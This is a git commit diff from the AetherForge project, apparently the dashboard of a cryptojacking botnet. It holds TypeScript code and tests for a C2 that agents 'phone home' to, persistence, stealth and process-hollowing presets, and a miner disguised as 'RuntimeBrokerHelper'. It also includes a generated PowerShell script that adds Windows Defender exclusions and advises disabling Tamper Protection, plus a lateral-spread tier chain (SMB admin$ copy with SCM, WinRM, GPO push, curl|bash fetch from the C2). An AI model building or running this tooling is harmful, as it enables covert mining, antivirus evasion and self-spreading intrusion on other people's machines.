Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,133 @@
import { describe, expect, it } from 'vitest';
import type { Agent } from '../types';
import { applyStatsUpdates } from './applyStatsUpdate';
const baseAgent = (): Agent => ({
id: 'a1',
name: 'node',
wallet: '',
ip: '10.0.0.1',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: new Date().toISOString(),
created_at: new Date().toISOString(),
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 10,
memory_usage_pct: 20,
uptime_seconds: 60,
});
describe('applyStatsUpdates', () => {
it('applies batch updates in one pass', () => {
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', hashrate_15m: 50 }];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 200, hashrate_1m: 200, hashrate_15m: 200, cpu_usage_pct: 15 },
{ agent_id: 'a2', hashrate_15s: 80, hashrate_1m: 80, hashrate_15m: 80, cpu_usage_pct: 5 },
]);
expect(next[0].hashrate_15m).toBe(200);
expect(next[1].hashrate_15m).toBe(80);
});
it('returns same reference when nothing changed', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10 },
]);
expect(next).toBe(agents);
});
it('merges mining cascade fields from stats_batch updates', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
active_method: 'inprocess',
stratum_overlay: true,
chain_exhausted: false,
chain_order: ['container', 'inprocess', 'stratum_direct'],
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
last_error: 'container start blocked',
},
]);
expect(next[0].active_method).toBe('inprocess');
expect(next[0].stratum_overlay).toBe(true);
expect(next[0].chain_order).toEqual(['container', 'inprocess', 'stratum_direct']);
expect(next[0].failed_methods).toHaveLength(1);
expect(next[0].last_error).toBe('container start blocked');
});
it('applies batch mining updates for multiple agents', () => {
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', name: 'node-b' }];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10, active_method: 'container' },
{ agent_id: 'a2', hashrate_15s: 50, hashrate_1m: 50, hashrate_15m: 50, cpu_usage_pct: 5, chain_exhausted: true },
]);
expect(next[0].active_method).toBe('container');
expect(next[1].chain_exhausted).toBe(true);
});
it('merges vuln_findings and vuln_risk_score from stats_batch', () => {
const agents = [{ ...baseAgent(), id: 'v1', name: 'Vuln Node' }];
const next = applyStatsUpdates(agents, [
{
agent_id: 'v1',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
cpu_usage_pct: 0,
vuln_risk_score: 42,
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
},
]);
expect(next[0].vuln_risk_score).toBe(42);
expect(next[0].vuln_findings?.[0].cve_id).toBe('CVE-2021-26855');
});
it('merges mining_hashrate and lotl_tier from stats_batch', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
mining_hashrate: 850,
lotl_tier: 'tier-1',
},
]);
expect(next[0].mining_hashrate).toBe(850);
expect(next[0].lotl_tier).toBe('tier-1');
});
it('merges lotl_attempts from stats_batch', () => {
const agents = [baseAgent()];
const attempts = [
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 400 },
{ tier: 'cpu_inprocess', ok: true, duration_ms: 900 },
];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
lotl_tier: 'cpu_inprocess',
lotl_attempts: attempts,
},
]);
expect(next[0].lotl_attempts).toEqual(attempts);
});
});

View File

@@ -0,0 +1,82 @@
import type { Agent } from '../types';
import type { WSStatsUpdate } from '../types/ws';
import { agentStatsUnchanged } from './wsStatsCoalesce';
/** Merge one stats_update payload into an agent row. */
export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
return {
...agent,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? agent.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? agent.uptime_seconds,
shares_total: update.shares_submitted ?? agent.shares_total,
shares_good: update.shares_accepted ?? agent.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? agent.shares_total) -
(update.shares_accepted ?? agent.shares_good),
),
status: 'online' as const,
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
...(update.active_method !== undefined ? { active_method: update.active_method } : {}),
...(update.failed_methods !== undefined ? { failed_methods: update.failed_methods } : {}),
...(update.last_error !== undefined ? { last_error: update.last_error } : {}),
...(update.chain_order !== undefined ? { chain_order: update.chain_order } : {}),
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
};
}
/** Apply one or many stats updates in a single pass (batch-friendly). */
export function applyStatsUpdates(agents: Agent[], updates: WSStatsUpdate[]): Agent[] {
if (updates.length === 0) return agents;
const byId = new Map(updates.map((u) => [u.agent_id, u]));
let changed = false;
const next = agents.map((a) => {
const u = byId.get(a.id);
if (!u || agentStatsUnchanged(a, u)) return a;
changed = true;
return mergeAgentStats(a, u);
});
return changed ? next : agents;
}

View File

@@ -52,7 +52,7 @@ describe('PIPELINE_STEPS', () => {
'/settings',
'/forge',
'/builds',
'/agents',
'/crucible',
'/dashboard',
]);
for (const step of routed) {

View File

@@ -90,9 +90,9 @@ export const PIPELINE_STEPS: CheatStep[] = [
title: 'Connect',
subtitle: 'Agent phones home',
icon: '🔗',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
route: '/agents',
routeLabel: 'Fleet Roster',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Crucible within seconds.',
route: '/crucible',
routeLabel: 'Crucible',
tips: [
'Status dot: green = online now, grey = last seen X ago',
'Remote action buttons are disabled when the agent is offline — by design',
@@ -128,7 +128,7 @@ export const FORGE_VS_CALIBRATE = {
'C2 server URL (LAN http://IP:8989)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
'Worker name (shows in Fleet Roster)',
'Worker name (shows in Crucible node roster)',
'Thread count + thread mode (fixed / percent / adapt)',
'CPU/RAM usage caps & idle detection',
'Mining schedule (start/end time window)',
@@ -328,7 +328,7 @@ ollama run llama3.2`,
export const TROUBLESHOOTING = [
{
problem: 'Agent never appears in Fleet Roster',
problem: 'Agent never appears in Crucible',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
},
{

View File

@@ -0,0 +1,26 @@
import { describe, it, expect } from 'vitest';
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
describe('defenderExclusion', () => {
it('builds elevated PowerShell with path and process exclusions', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\ProgramData\\AetherForge\\worker",
processName: 'RuntimeBrokerHelper',
});
expect(script).toContain('Add-MpPreference -ExclusionPath');
expect(script).toContain('RuntimeBrokerHelper.exe');
expect(script).toContain('Tamper Protection');
});
it('escapes single quotes in paths', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\O'Brien\\miner",
processName: 'worker',
});
expect(script).toContain("C:\\O''Brien\\miner");
});
it('provides default install preview', () => {
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
});
});

View File

@@ -0,0 +1,57 @@
/** Generate a PowerShell script operators run manually to add Defender exclusions. */
export interface DefenderExclusionOptions {
/** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
installPath: string;
/** Process name without .exe, e.g. RuntimeBrokerHelper */
processName: string;
}
function psEscapeSingleQuoted(value: string): string {
return value.replace(/'/g, "''");
}
export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
const installPath = psEscapeSingleQuoted(opts.installPath.trim());
const processName = psEscapeSingleQuoted(opts.processName.trim());
const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
return `# AetherForge — Windows Defender exclusions
# Run elevated (Administrator). Review before executing.
# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
$ErrorActionPreference = 'Stop'
$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Warning 'Re-run this script as Administrator.'
}
$paths = @(
'${installPath}'
)
$processes = @(
'${processExe}'
)
try {
Add-MpPreference -ExclusionPath $paths -Force
Add-MpPreference -ExclusionProcess $processes -Force
Write-Host "Added Defender exclusions for install path and ${processExe}"
} catch {
Write-Warning $_.Exception.Message
}
Write-Host ''
Write-Host 'Manual checklist if mining still blocked:'
Write-Host ' 1. Windows Security > Virus & threat protection > Manage settings'
Write-Host ' 2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
Write-Host ' 3. Disable Controlled folder access OR allow the agent process'
Write-Host ' 4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
`;
}
/** Example install path for Calibrate preview (Windows localappdata template). */
export function defaultWindowsInstallPreview(workerName = 'worker'): string {
const slug = workerName.trim() || 'worker';
return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
}

View File

@@ -27,6 +27,7 @@ export const DOC_ANCHORS: Record<string, string> = {
max_memory_percent: '/docs/#forge-stealth',
min_free_ram_mb: '/docs/#forge-stealth',
mining_mode: '/docs/#forge-stealth',
miner_execution: '/docs/#container-mining',
idle_threshold_pct: '/docs/#forge-stealth',
idle_duration_minutes: '/docs/#forge-stealth',
schedule_start: '/docs/#agent',

View File

@@ -11,6 +11,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'idle',
miner_execution: 'auto',
display_mode: 'background',
silent_mode: true,
run_as: 'scheduled',

View File

@@ -14,13 +14,14 @@ import {
describe('forgeMissionWizard', () => {
it('defines three ritual wizard steps', () => {
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread', 'AV-Safe']);
});
it('maps operation chips to forge modes', () => {
expect(operationModeForChip('ghost')).toBe('ghost_walk');
expect(operationModeForChip('loud')).toBe('open_flame');
expect(operationModeForChip('spread')).toBe('wildfire');
expect(operationModeForChip('avsafe')).toBe('av_safe');
});
it('reverse-maps operation modes to wizard chips', () => {
@@ -29,6 +30,7 @@ describe('forgeMissionWizard', () => {
expect(missionChipForMode('open_flame')).toBe('loud');
expect(missionChipForMode('wildfire')).toBe('spread');
expect(missionChipForMode('crucible_storm')).toBe('spread');
expect(missionChipForMode('av_safe')).toBe('avsafe');
});
it('navigates wizard steps forward and back', () => {

View File

@@ -10,7 +10,7 @@ export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
launch: 'Launch',
};
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
export interface MissionOperationChipDef {
id: MissionOperationChip;
@@ -42,6 +42,13 @@ export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
modeId: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
},
{
id: 'avsafe',
label: 'AV-Safe',
color: '#22d3a8',
modeId: 'av_safe',
blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
},
];
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
@@ -49,6 +56,7 @@ export function operationModeForChip(chip: MissionOperationChip): OperationModeI
}
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
if (mode === 'av_safe') return 'avsafe';
if (mode === 'open_flame') return 'loud';
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
return 'ghost';

View File

@@ -24,8 +24,8 @@ const baseForm = (): BuildRequest =>
}) as BuildRequest;
describe('forgeOperationModes', () => {
it('exposes six colored aether-themed presets', () => {
expect(OPERATION_MODES).toHaveLength(6);
it('exposes colored aether-themed presets including LOTL Onion', () => {
expect(OPERATION_MODES).toHaveLength(8);
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
'Ghost Walk',
'Open Flame',
@@ -33,6 +33,8 @@ describe('forgeOperationModes', () => {
'Hearth Whisper',
'Wildfire',
'Crucible Storm',
'AV-Safe',
'LOTL Onion',
]);
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
@@ -46,6 +48,8 @@ describe('forgeOperationModes', () => {
'aether',
'wildfire',
'crucible',
'aether',
'aether',
]);
expect(skinForOperationMode('wildfire')).toBe('wildfire');
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
@@ -110,4 +114,28 @@ describe('forgeOperationModes', () => {
expect(next.hole_punch).toBe(true);
expect(next.mesh_p2p).toBe(true);
});
it('applies AV-Safe in-process mining without GPU or spread', () => {
const next = applyOperationMode(baseForm(), 'av_safe');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.process_hollowing).toBe(false);
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(false);
expect(next.remote_aggressive).toBe(false);
expect(next.obfuscate).toBe(false);
});
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
const next = applyOperationMode(baseForm(), 'lotl_onion');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(9);
expect(next.lotl_onion_tiers?.[0]).toBe('docker');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);
expect(next.share_spread).toBe(true);
});
});

View File

@@ -1,5 +1,6 @@
import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
export type OperationModeId =
| 'ghost_walk'
@@ -7,7 +8,9 @@ export type OperationModeId =
| 'sigil_mask'
| 'hearth_whisper'
| 'wildfire'
| 'crucible_storm';
| 'crucible_storm'
| 'av_safe'
| 'lotl_onion';
/** Seasonal / operation forge UI skins (CSS class suffix). */
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
mesh_p2p: true,
}),
},
{
id: 'av_safe',
label: 'AV-Safe',
color: '#22d3a8',
skin: 'aether',
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
apply: (f) => ({
...f,
miner_execution: 'inprocess',
gpu_enabled: false,
process_hollowing: false,
spread_kit: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
remote_aggressive: false,
obfuscate: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: true,
firewall_exclusion: true,
fusion_enabled: false,
mining_mode: 'idle',
max_cpu_usage_pct: 50,
thread_percent: 50,
}),
},
{
id: 'lotl_onion',
label: 'LOTL Onion',
color: '#38bdf8',
skin: 'aether',
blurb:
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
apply: (f) => ({
...f,
miner_execution: 'inprocess',
gpu_enabled: false,
process_hollowing: false,
spread_kit: false,
auto_spread: true,
share_spread: true,
usb_spread: false,
remote_aggressive: false,
obfuscate: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: true,
firewall_exclusion: true,
fusion_enabled: false,
mining_mode: 'idle',
max_cpu_usage_pct: 50,
thread_percent: 50,
lotl_onion_enabled: true,
lotl_policy_from_server: true,
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
}),
},
];
export function isOperationModeId(value: string): value is OperationModeId {

View File

@@ -0,0 +1,14 @@
import { describe, it, expect } from 'vitest';
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
describe('lotlOnionTiers', () => {
it('lists nine tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
});
it('documents each tier with a one-line hint', () => {
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
});
});

View File

@@ -0,0 +1,38 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
export const DEFAULT_LOTL_ONION_TIERS = [
'docker',
'wsl',
'powershell',
'dotnet',
'bits_curl',
'smb',
'winrm',
'linux',
'gpo',
] as const;
export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
export interface LotlOnionTierDoc {
id: LotlOnionTierId;
label: string;
/** One-line operator hint for playbook tabs */
hint: string;
}
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
{ id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
{ id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
{ id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
{ id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
{ id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
{ id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
];
export function lotlTierDocUrl(tier: LotlOnionTierId): string {
return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
}

View File

@@ -1,7 +1,7 @@
/** Map dashboard routes to human-readable page names for comrade presence. */
const PAGE_LABELS: Record<string, string> = {
'/dashboard': 'Command Deck',
'/agents': 'Fleet Roster',
'/agents': 'Crucible',
'/crucible': 'Crucible',
'/forge': 'Forge',
'/builder': 'Forge',

View File

@@ -0,0 +1,38 @@
import { describe, expect, it } from 'vitest';
import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
describe('reconRisk', () => {
it('ipToSubnet derives /24 label', () => {
expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
expect(ipToSubnet('')).toBe('');
});
it('riskFromVulnFindings returns null when empty or all patched', () => {
expect(riskFromVulnFindings(undefined)).toBeNull();
expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
});
it('riskFromVulnFindings picks highest unpatched severity', () => {
const info = riskFromVulnFindings([
{ cve_id: 'CVE-LOW', severity: 'low', patched: false },
{ cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
]);
expect(info?.level).toBe('high');
expect(info?.label).toBe('RISK HIGH');
expect(info?.count).toBe(2);
expect(info?.title).toContain('CVE-HIGH');
});
it('riskFromVulnFindings maps critical severity', () => {
const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
expect(info?.level).toBe('critical');
expect(info?.label).toBe('RISK CRIT');
});
it('joinLaneLabel formats known lanes', () => {
expect(joinLaneLabel('winrm')).toBe('WinRM');
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
expect(joinLaneLabel('')).toBeNull();
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
});
});

View File

@@ -0,0 +1,88 @@
import type { VulnFinding } from '../types/recon';
const SEVERITY_RANK: Record<string, number> = {
critical: 5,
high: 4,
medium: 3,
low: 2,
info: 1,
};
export type RiskLevel = 'critical' | 'high' | 'medium' | 'low' | 'clear';
export interface RiskBadgeInfo {
level: RiskLevel;
label: string;
count: number;
title: string;
}
/** Derive /24 subnet label from agent IP (matches fleetAnalytics). */
export function ipToSubnet(ip?: string): string {
const trimmed = (ip || '').trim();
const parts = trimmed.split('.');
return parts.length >= 3 ? `${parts[0]}.${parts[1]}.${parts[2]}.x` : '';
}
function severityRank(severity?: string): number {
if (!severity) return 0;
return SEVERITY_RANK[severity.toLowerCase()] ?? 0;
}
/** Highest actionable severity from vuln_findings; clear when empty or all patched. */
export function riskFromVulnFindings(findings?: VulnFinding[]): RiskBadgeInfo | null {
if (!findings?.length) return null;
const actionable = findings.filter((f) => !f.patched);
if (actionable.length === 0) return null;
let maxRank = 0;
let maxSeverity = 'low';
let exploitable = 0;
for (const f of actionable) {
const rank = severityRank(f.severity);
if (rank > maxRank) {
maxRank = rank;
maxSeverity = (f.severity || 'low').toLowerCase();
}
if (f.exploitable_in_fleet_context) exploitable += 1;
}
const level: RiskLevel =
maxRank >= 5 ? 'critical' : maxRank >= 4 ? 'high' : maxRank >= 3 ? 'medium' : 'low';
const cveList = actionable
.slice(0, 4)
.map((f) => f.cve_id)
.join(', ');
const suffix = actionable.length > 4 ? ` +${actionable.length - 4} more` : '';
return {
level,
label: level === 'critical' ? 'RISK CRIT' : level === 'high' ? 'RISK HIGH' : level === 'medium' ? 'RISK MED' : 'RISK',
count: actionable.length,
title: `${actionable.length} unpatched finding(s) — max ${maxSeverity}${
exploitable ? ` · ${exploitable} fleet-context` : ''
}\n${cveList}${suffix}`,
};
}
const JOIN_LANE_LABELS: Record<string, string> = {
winrm: 'WinRM',
smb: 'SMB',
gpo: 'GPO',
docker: 'Docker',
bits: 'BITS',
intune: 'Intune',
'linux-lotl': 'Linux LOTL',
linux_lotl: 'Linux LOTL',
spread_smb_unc: 'SMB UNC',
};
/** Display label for join_lane funnel tag. */
export function joinLaneLabel(lane?: string): string | null {
const raw = lane?.trim();
if (!raw) return null;
const key = raw.toLowerCase();
return JOIN_LANE_LABELS[key] ?? raw.replace(/_/g, ' ').replace(/-/g, ' ');
}

View File

@@ -24,6 +24,7 @@ const UI_REMOTE_ACTIONS = [
'upload',
'push_desktop',
'full_sys_check',
'mining_diagnostics',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
@@ -41,6 +42,7 @@ const AGENT_HANDLED = new Set([
'upload',
'push_desktop',
'full_sys_check',
'mining_diagnostics',
'download',
'ps',
'netstat',

View File

@@ -24,7 +24,7 @@ describe('SETUP_CHEATSHEET', () => {
expect(bodies).toContain('Calibrate');
expect(bodies).toContain('Forge');
expect(bodies).toContain('Command Deck');
expect(bodies).toContain('Fleet Roster');
expect(bodies).toContain('Crucible');
});
});
@@ -33,6 +33,7 @@ describe('FIELD_HELP', () => {
'calibrate_wallet',
'calibrate_quick_setup',
'forge_simple_mode',
'forge_lotl_onion',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
@@ -58,6 +59,7 @@ describe('FIELD_HELP', () => {
'min_free_ram_mb',
'cpu_priority',
'mining_mode',
'miner_execution',
'idle_threshold_pct',
'idle_duration_minutes',
'schedule_start',

View File

@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
},
{
title: '4. Watch the fleet',
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
},
];
@@ -25,7 +25,9 @@ export const FIELD_HELP: Record<string, string> = {
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_operation_mode:
'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults:
@@ -64,6 +66,8 @@ export const FIELD_HELP: Record<string, string> = {
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
miner_execution:
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
schedule_start: 'For Scheduled mode: daily start time (24h).',

View File

@@ -17,7 +17,8 @@ describe('spreadTechniques', () => {
});
it('maps Emberwake bullets to playbook tabs', () => {
